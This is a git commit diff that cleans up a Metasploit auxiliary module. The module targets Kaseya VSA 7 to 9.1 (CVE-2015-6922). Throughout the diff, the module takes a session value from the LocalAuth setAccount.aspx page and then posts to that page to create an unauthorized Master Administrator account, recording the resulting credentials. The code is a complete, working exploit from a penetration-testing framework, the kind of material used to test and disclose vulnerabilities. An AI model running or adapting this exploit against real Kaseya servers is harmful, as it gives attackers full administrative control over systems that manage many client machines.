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Do code cleanup

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jvazquez-r7 2015-10-01 13:37:18 -05:00
parent 8af5a8e310
commit 1b21cd9481
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1 changed files with 64 additions and 60 deletions
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124
modules/auxiliary/admin/http/kaseya_master_admin.rb
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@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
@ -27,18 +27,18 @@ v9.0.0.3.
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-6922' ],
[ 'ZDI', '15-448' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ],
[ 'URL', 'TODO_FULLDISC_URL' ]
['CVE', '2015-6922'],
['ZDI', '15-448'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'TODO_FULLDISC_URL']
],
'DisclosureDate' => 'Sep 23 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, "The Kaseya VSA URI", '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
@ -46,58 +46,62 @@ v9.0.0.3.
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'GET',
})
if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
sessionVal = $1
print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
'method' =>'POST',
'vars_post' => {
"sessionVal" => sessionVal,
"adminName" => datastore['USERNAME'],
"NewPassword" => datastore['PASSWORD'],
"confirm" => datastore['PASSWORD'],
"adminEmail" => datastore['EMAIL'],
"setAccount" => "Create"
}
})
if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/
print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['PASSWORD'],
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
else
print_error("#{peer} - Master Administrator account creation failed")
end
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
session_val = $1
else
print_error("#{peer} - Failed to get sessionVal")
return
end
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'POST',
'vars_post' => {
'sessionVal' => session_val,
'adminName' => datastore['KASEYA_USER'],
'NewPassword' => datastore['KASEYA_PASS'],
'confirm' => datastore['KASEYA_PASS'],
'adminEmail' => datastore['EMAIL'],
'setAccount' => 'Create'
}
})
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
print_error("#{peer} - Master Administrator account creation failed")
return
end
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['KASEYA_PASS'],
username: datastore['KASEYA_USER']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end